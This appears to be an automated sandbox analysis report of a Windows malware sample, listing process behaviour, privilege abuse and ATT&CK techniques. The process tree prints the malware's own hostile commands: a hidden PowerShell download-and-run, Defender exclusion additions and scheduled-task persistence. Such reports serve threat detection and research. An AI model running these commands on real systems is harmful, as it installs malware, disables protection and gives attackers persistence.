116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
4892	powershell.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe
116	avf4xgfv.szk.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3432	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4352	c4550f14-4589-478b-8945-becab1d3b510.exe
Token: SeDebugPrivilege	5068	powershell.exe
Token: SeIncreaseQuotaPrivilege	5068	powershell.exe
Token: SeSecurityPrivilege	5068	powershell.exe
Token: SeTakeOwnershipPrivilege	5068	powershell.exe
Token: SeLoadDriverPrivilege	5068	powershell.exe
Token: SeSystemProfilePrivilege	5068	powershell.exe
Token: SeSystemtimePrivilege	5068	powershell.exe
Token: SeProfSingleProcessPrivilege	5068	powershell.exe
Token: SeIncBasePriorityPrivilege	5068	powershell.exe
Token: SeCreatePagefilePrivilege	5068	powershell.exe
Token: SeBackupPrivilege	5068	powershell.exe
Token: SeRestorePrivilege	5068	powershell.exe
Token: SeShutdownPrivilege	5068	powershell.exe
Token: SeDebugPrivilege	5068	powershell.exe
Token: SeSystemEnvironmentPrivilege	5068	powershell.exe
Token: SeRemoteShutdownPrivilege	5068	powershell.exe
Token: SeUndockPrivilege	5068	powershell.exe
Token: SeManageVolumePrivilege	5068	powershell.exe
Token: 33	5068	powershell.exe
Token: 34	5068	powershell.exe
Token: 35	5068	powershell.exe
Token: 36	5068	powershell.exe
Token: SeDebugPrivilege	2852	powershell.exe
Token: SeIncreaseQuotaPrivilege	2852	powershell.exe
Token: SeSecurityPrivilege	2852	powershell.exe
Token: SeTakeOwnershipPrivilege	2852	powershell.exe
Token: SeLoadDriverPrivilege	2852	powershell.exe
Token: SeSystemProfilePrivilege	2852	powershell.exe
Token: SeSystemtimePrivilege	2852	powershell.exe
Token: SeProfSingleProcessPrivilege	2852	powershell.exe
Token: SeIncBasePriorityPrivilege	2852	powershell.exe
Token: SeCreatePagefilePrivilege	2852	powershell.exe
Token: SeBackupPrivilege	2852	powershell.exe
Token: SeRestorePrivilege	2852	powershell.exe
Token: SeShutdownPrivilege	2852	powershell.exe
Token: SeDebugPrivilege	2852	powershell.exe
Token: SeSystemEnvironmentPrivilege	2852	powershell.exe
Token: SeRemoteShutdownPrivilege	2852	powershell.exe
Token: SeUndockPrivilege	2852	powershell.exe
Token: SeManageVolumePrivilege	2852	powershell.exe
Token: 33	2852	powershell.exe
Token: 34	2852	powershell.exe
Token: 35	2852	powershell.exe
Token: 36	2852	powershell.exe
Token: SeDebugPrivilege	4160	svhost.exe
Token: SeDebugPrivilege	1976	svhost.exe
Token: SeDebugPrivilege	1976	svhost.exe
Token: SeDebugPrivilege	116	avf4xgfv.szk.exe
Token: SeShutdownPrivilege	3432	Explorer.EXE
Token: SeCreatePagefilePrivilege	3432	Explorer.EXE
Token: SeShutdownPrivilege	3432	Explorer.EXE
Token: SeCreatePagefilePrivilege	3432	Explorer.EXE
Token: SeShutdownPrivilege	3432	Explorer.EXE
Token: SeCreatePagefilePrivilege	3432	Explorer.EXE
Token: SeShutdownPrivilege	3432	Explorer.EXE
Token: SeCreatePagefilePrivilege	3432	Explorer.EXE
Token: SeDebugPrivilege	4892	powershell.exe
Token: SeShutdownPrivilege	3692	svchost.exe
Token: SeCreatePagefilePrivilege	3692	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2368	svchost.exe
Token: SeIncreaseQuotaPrivilege	2368	svchost.exe
Token: SeSecurityPrivilege	2368	svchost.exe
Token: SeTakeOwnershipPrivilege	2368	svchost.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1812	Conhost.exe
3056	Conhost.exe
4616	Conhost.exe
2504	Conhost.exe
988	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4508 wrote to memory of 4352	4508	Bypassed.exe	83
PID 4352 wrote to memory of 5068	4352	c4550f14-4589-478b-8945-becab1d3b510.exe	84
PID 4352 wrote to memory of 2852	4352	c4550f14-4589-478b-8945-becab1d3b510.exe	87
PID 1976 wrote to memory of 116	1976	svhost.exe	93
PID 1976 wrote to memory of 1944	1976	svhost.exe	94
PID 116 wrote to memory of 600	116	avf4xgfv.szk.exe	5
PID 116 wrote to memory of 684	116	avf4xgfv.szk.exe	7
PID 116 wrote to memory of 884	116	avf4xgfv.szk.exe	11
PID 116 wrote to memory of 1012	116	avf4xgfv.szk.exe	13
PID 116 wrote to memory of 460	116	avf4xgfv.szk.exe	14
PID 116 wrote to memory of 444	116	avf4xgfv.szk.exe	15
PID 116 wrote to memory of 700	116	avf4xgfv.szk.exe	16
PID 116 wrote to memory of 1032	116	avf4xgfv.szk.exe	17
PID 116 wrote to memory of 1076	116	avf4xgfv.szk.exe	18
PID 116 wrote to memory of 1100	116	avf4xgfv.szk.exe	19
PID 116 wrote to memory of 1140	116	avf4xgfv.szk.exe	20
PID 116 wrote to memory of 1328	116	avf4xgfv.szk.exe	21
PID 116 wrote to memory of 1368	116	avf4xgfv.szk.exe	23
PID 116 wrote to memory of 1396	116	avf4xgfv.szk.exe	24
PID 116 wrote to memory of 1432	116	avf4xgfv.szk.exe	25
PID 116 wrote to memory of 1516	116	avf4xgfv.szk.exe	26
PID 116 wrote to memory of 1608	116	avf4xgfv.szk.exe	27
PID 116 wrote to memory of 1644	116	avf4xgfv.szk.exe	28
PID 116 wrote to memory of 1656	116	avf4xgfv.szk.exe	29
PID 116 wrote to memory of 1680	116	avf4xgfv.szk.exe	30
PID 116 wrote to memory of 1740	116	avf4xgfv.szk.exe	31
PID 116 wrote to memory of 1848	116	avf4xgfv.szk.exe	32
PID 116 wrote to memory of 1920	116	avf4xgfv.szk.exe	33
PID 116 wrote to memory of 1936	116	avf4xgfv.szk.exe	34
PID 116 wrote to memory of 1060	116	avf4xgfv.szk.exe	35
PID 116 wrote to memory of 1836	116	avf4xgfv.szk.exe	36
PID 116 wrote to memory of 1952	116	avf4xgfv.szk.exe	37
PID 116 wrote to memory of 2076	116	avf4xgfv.szk.exe	38
PID 116 wrote to memory of 2120	116	avf4xgfv.szk.exe	39
PID 116 wrote to memory of 2260	116	avf4xgfv.szk.exe	40
PID 116 wrote to memory of 2368	116	avf4xgfv.szk.exe	42
PID 116 wrote to memory of 2388	116	avf4xgfv.szk.exe	43
PID 116 wrote to memory of 2592	116	avf4xgfv.szk.exe	44
PID 116 wrote to memory of 2600	116	avf4xgfv.szk.exe	45
PID 116 wrote to memory of 2728	116	avf4xgfv.szk.exe	47
PID 116 wrote to memory of 2740	116	avf4xgfv.szk.exe	48
PID 116 wrote to memory of 2784	116	avf4xgfv.szk.exe	49
PID 116 wrote to memory of 2792	116	avf4xgfv.szk.exe	50
PID 116 wrote to memory of 2984	116	avf4xgfv.szk.exe	51
PID 116 wrote to memory of 3100	116	avf4xgfv.szk.exe	52
PID 116 wrote to memory of 3132	116	avf4xgfv.szk.exe	53
PID 116 wrote to memory of 3172	116	avf4xgfv.szk.exe	54
PID 116 wrote to memory of 3216	116	avf4xgfv.szk.exe	55
PID 116 wrote to memory of 3352	116	avf4xgfv.szk.exe	56
PID 116 wrote to memory of 3432	116	avf4xgfv.szk.exe	57
PID 116 wrote to memory of 3576	116	avf4xgfv.szk.exe	58
PID 116 wrote to memory of 3856	116	avf4xgfv.szk.exe	60
PID 116 wrote to memory of 4076	116	avf4xgfv.szk.exe	62
PID 116 wrote to memory of 2384	116	avf4xgfv.szk.exe	63
PID 116 wrote to memory of 4540	116	avf4xgfv.szk.exe	66
PID 116 wrote to memory of 2836	116	avf4xgfv.szk.exe	68
PID 116 wrote to memory of 1132	116	avf4xgfv.szk.exe	69
PID 116 wrote to memory of 4784	116	avf4xgfv.szk.exe	70
PID 116 wrote to memory of 1004	116	avf4xgfv.szk.exe	71
PID 116 wrote to memory of 5028	116	avf4xgfv.szk.exe	72
PID 116 wrote to memory of 2920	116	avf4xgfv.szk.exe	73
PID 116 wrote to memory of 3664	116	avf4xgfv.szk.exe	74
PID 116 wrote to memory of 4936	116	avf4xgfv.szk.exe	75
PID 116 wrote to memory of 4348	116	avf4xgfv.szk.exe	76

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:600
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1076

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Drops file in System32 directory
PID:684

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-9249a408-fa49-4572-a041-7bd37ebd1d38 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-295353a1-4a44-4b3f-9e79-00c81e4a5b3b -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-6b61e04e-94d1-4c0b-94a0-297b6bb5ab2c -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-6194c74c-15fa-47e3-9ae9-36139928d1e5 -LifetimeId:9a649bcc-1a04-42b9-9ded-12b48edfcca5 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1012

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:460

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1100

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1368

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1432
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3172
- C:\Windows\svhost.exe
  "C:\Windows\svhost.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1976
- - C:\Users\Admin\AppData\Local\Temp\avf4xgfv.szk.exe
    "C:\Users\Admin\AppData\Local\Temp\avf4xgfv.szk.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:116
- - C:\Windows\system32\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1944
- - C:\Windows\system32\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5088
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr '-' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4892
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:3056
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\svhost.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2312
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:4616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1608
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1680

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1848

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1920

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1060

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1836

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2076

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2120

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2368

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2592

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2600

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
PID:2740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2792

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2984

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3216

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3352

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3432
- C:\Users\Admin\AppData\Local\Temp\Bypassed.exe
  "C:\Users\Admin\AppData\Local\Temp\Bypassed.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4508
- - C:\Users\Admin\AppData\Local\Temp\c4550f14-4589-478b-8945-becab1d3b510.exe
    "C:\Users\Admin\AppData\Local\Temp\c4550f14-4589-478b-8945-becab1d3b510.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in Windows directory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4352
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\svhost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5068
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3576

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3856

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4076

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2384

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4540

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2836

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:1132

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4784

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1004

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:5028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:2920

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3664

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca
1⤵
PID:4936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:1020

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:5000

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:3740

C:\Windows\svhost.exe
C:\Windows\svhost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4160

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of SetWindowsHookEx
PID:1812

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe f12b307414fd6e1af4ace19fead20336 n59Uzkea/0qAMFfdRgVlaQ.0.1.0.0.0
1⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:1504
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:1320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3692

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Enumerates system info in registry
PID:2888

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of SetWindowsHookEx
PID:2504

C:\Users\Admin\AppData\Roaming\svhost.exe
C:\Users\Admin\AppData\Roaming\svhost.exe
1⤵
- Executes dropped EXE
PID:2868

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
- Checks processor information in registry
PID:4760

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of SetWindowsHookEx
PID:988

C:\Windows\system32\UsoClient.exe
C:\Windows\system32\usoclient.exe
1⤵
PID:4872

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:5056

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery